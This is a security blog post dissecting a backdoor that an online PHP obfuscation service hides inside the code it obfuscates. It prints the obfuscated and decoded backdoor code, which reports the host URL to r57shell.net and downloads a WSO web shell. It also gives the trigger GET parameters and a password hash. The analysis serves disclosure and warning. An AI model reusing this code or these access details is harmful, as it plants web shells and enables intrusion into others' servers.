My colleague Francesco and I recently analyzed a phishing kit containing partially obfuscated PHP code. The criminals used R57 Shell‘s website to obfuscate the code…but they didn’t realize that there was a surprise for them! 😅
r57 thus explains why a person should obfuscate their PHP code:
What is Php Obfuscation?
When you have a php project you want to distribute, as php is a script interpretor, you distribute also all the sources of your software!
You may want, for any reason, that other people do not understand, modify, or adapt your software.
As your software must be understandable by the php runtime, but needs to be very difficult to understand by human people, obfuscation is a very good way to achieve this goal.
This PHP obfuscation service is not only very weak, but also introduces a backdoor! 🚀
I would like to analyze step by step the PHP code that generates this portal. My intent is to obfuscate a simple line of PHP code: <?php phpinfo();
Here is the output:
Immediately we notice that from a code of 16 characters, we get one of almost 5 thousand characters. 😱 The code, which for simplicity I do not include in its entirety, ends with an eval() function:
eval(htmlspecialchars_decode(gzinflate(base64_decode($stt1))));
This portion of code that calls the $stt1
variable if executed provides us with another eval() function:
eval('?>'.gzuncompress(gzinflate(base64_decode(strrev($stt0)))));
This last portion of code parses the variable $stt0
and returns us a new portion of code:
<?php
if (!function_exists("\x53\150\142\x35\71")) { function Shb59() { goto vfxUZ; lxsv9: if (!@$_GET["\155"]) { goto YtUpR; } goto Nzf76; GU9GS: $gcpWb = curl_exec($Sk08U); goto nkxUr; pJcWe: curl_setopt($Sk08U, CURLOPT_RETURNTRANSFER, 1); goto zpfLD; YYaOh: goto IHxy0; goto dvR4I; GYvkP: ZhZgb: goto k_WGn; oWYOD: $gcpWb = curl_exec($Sk08U); goto czwUk; aVOB5: $rrEqz = array("\150\164\x74\x70" => array("\x68\145\141\x64\145\x72" => array("\x52\145\146\x65\162\145\x72\x3a\40{$rDRqc}\15\xa"))); goto mZWI5; zOVDO: @file_put_contents($AjbiC, $gcpWb); goto VeAeU; zpfLD: curl_setopt($Sk08U, CURLOPT_REFERER, $_SERVER["\x48\124\x54\x50\x5f\110\x4f\123\124"] . $_SERVER["\x52\x45\x51\125\x45\123\x54\137\125\122\111"]); goto oWYOD; KiQmq: @touch($AjbiC); goto zOVDO; vpqHT: SOvmG: goto Td1kw; z2HDh: $AjbiC = sys_get_temp_dir() . DIRECTORY_SEPARATOR . "\163\145\x73\163\x5f" . md5('' . $n1y7t . "\x5f" . $k2d3E . ''); goto NP0XO; lSG2G: $gcpWb = file_get_contents("\150\164\x74\x70\72\57\57\x72\x35\67\163\x68\145\x6c\154\56\x6e\145\164\57\x6d\x69\156\151\137\141\144\155\x69\156\56\164\x78\x74"); goto LQdSy; FKxS7: if (function_exists("\143\165\x72\154\x5f\x69\x6e\x69\x74")) { goto w8ByY; } goto hLG4r; B7ETD: exit; goto yC0X6; a6HEp: $WQda3 = dirname($WQda3); goto h9lSs; hLG4r: $gcpWb = ............
We note right away that the latter portion of the code is definitely more “readable,” but still there are hexadecimal-encoded text strings and the code is all on one line (i.e., difficult to read). I then decode the hexadecimal strings and use a PHP Beautifier to improve the reading of all the code. From an initial one line of code (my phpinfo()
) we went to 460 lines of code! 🤔
If you are curious to read all the deoffused code I’ve posted it on Pastebin, but now I try to explain what these 460 lines of code are for.
First, where did my PHP code go that I wanted to obfuscate? Simply to the last line before the PHP interpretation code.
...
...
curl_setopt($Sk08U, CURLOPT_RETURNTRANSFER, 1);
goto ctbbn;
g4KpY:
echo $UoTkI;
goto qUkiL;
Kg5yG:
$Sk08U = curl_init();
goto swBGb;
aT_Ta:
$gcpWb = file_get_contents($AjbiC);
goto xPeZy;
gLWGM:
}
sHb59();
}
phpinfo();
?>
Primarily, this backdoor uses PHP’s goto function to make reading more difficult, generating jumps from one part of the code to another. That is, you cannot read code linearly. 🤯
First they send themselves via a POST request the location/url where the obfuscated code (with backdoor) is saved.
$d8Wda = $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"];
$QJKRC = [
"http" => [
"header" => [
"Referer: {$d8Wda}
\xa",
],
],
];
$guPBF = stream_context_create($QJKRC);
$kshoR = @file_get_contents(
"http://r57shell.net/jquery.php?v=1.2&request=enable",
false,
$guPBF
);
So they always know where they can reach the backdoor PHP code they generated! 😎
We immediately notice another interesting portion of code:
swBGb:
curl_setopt(
$Sk08U,
CURLOPT_URL,
"http://r57shell.net/jquery.php?v=1.2&pwd=get"
);
Wzrou:
curl_setopt($Sk08U, CURLOPT_RETURNTRANSFER, 1);
ctbbn:
$gcpWb = curl_exec($Sk08U);
Hl24R:
curl_close($Sk08U);
LxpYx:
if (!(md5(sha1(@$_GET["is"])) == $gcpWb)) {
goto GF4F2;
}
GF4F2:
goto B7ETD;
B7ETD:
exit();
The backdoor invokes the “jquery.php” script on the official r57shell site to obtain a password hash, currently: cf15542391c7994c429dc33e6f3696a5
. This password, if correctly passed in the GET parameter “is” allows the backdoor to continue operation. Otherwise, it invokes a traditional exit().
Okay, but what if I know the password? What can I do with this backdoor? Well you need two more GET parameters, the first one “slince_golden”. This parameter is responsible for activating the backdoor.
mxzrq:
if (!@$_GET["slince_golden"]) {
goto gu4sr;
}
O8IoG:
echo "<!-- //Silence is golden. -->";
The second GET parameter is “m.” It triggers a procedure for downloading and saving a new file.
lxsv9:
if (!@$_GET["m"]) {
goto YtUpR;
}
Jj2mx:
$UoTkI = @$_GET["m"] . "gagal.php";
njgh9:
curl_setopt($Sk08U, CURLOPT_URL, "http://r57shell.net/mini_admin.txt");
GU9GS:
$gcpWb = curl_exec($Sk08U);
UCPU0:
@file_put_contents($UoTkI, $gcpWb);
Great, we figured out what this backdoor does. If I pass it these GET parameters “slince_golden=1&is=PASSWORD&m=filename” it will go and save me a new file named “filenamegagal.php”. Inside this new file will be the contents of “mini_admin.txt”.
What does this “mini_admin.txt” file currently contain? Well the most famous Web Shell, WSO 2.5.
Fortunately, the PHP obuscation service offered by r57 is not among the top Google Search Engine results, but it is still indexed. And a few unsuspecting victims may happen. 😞
LOL, nice catch! Thx for sharing 🙂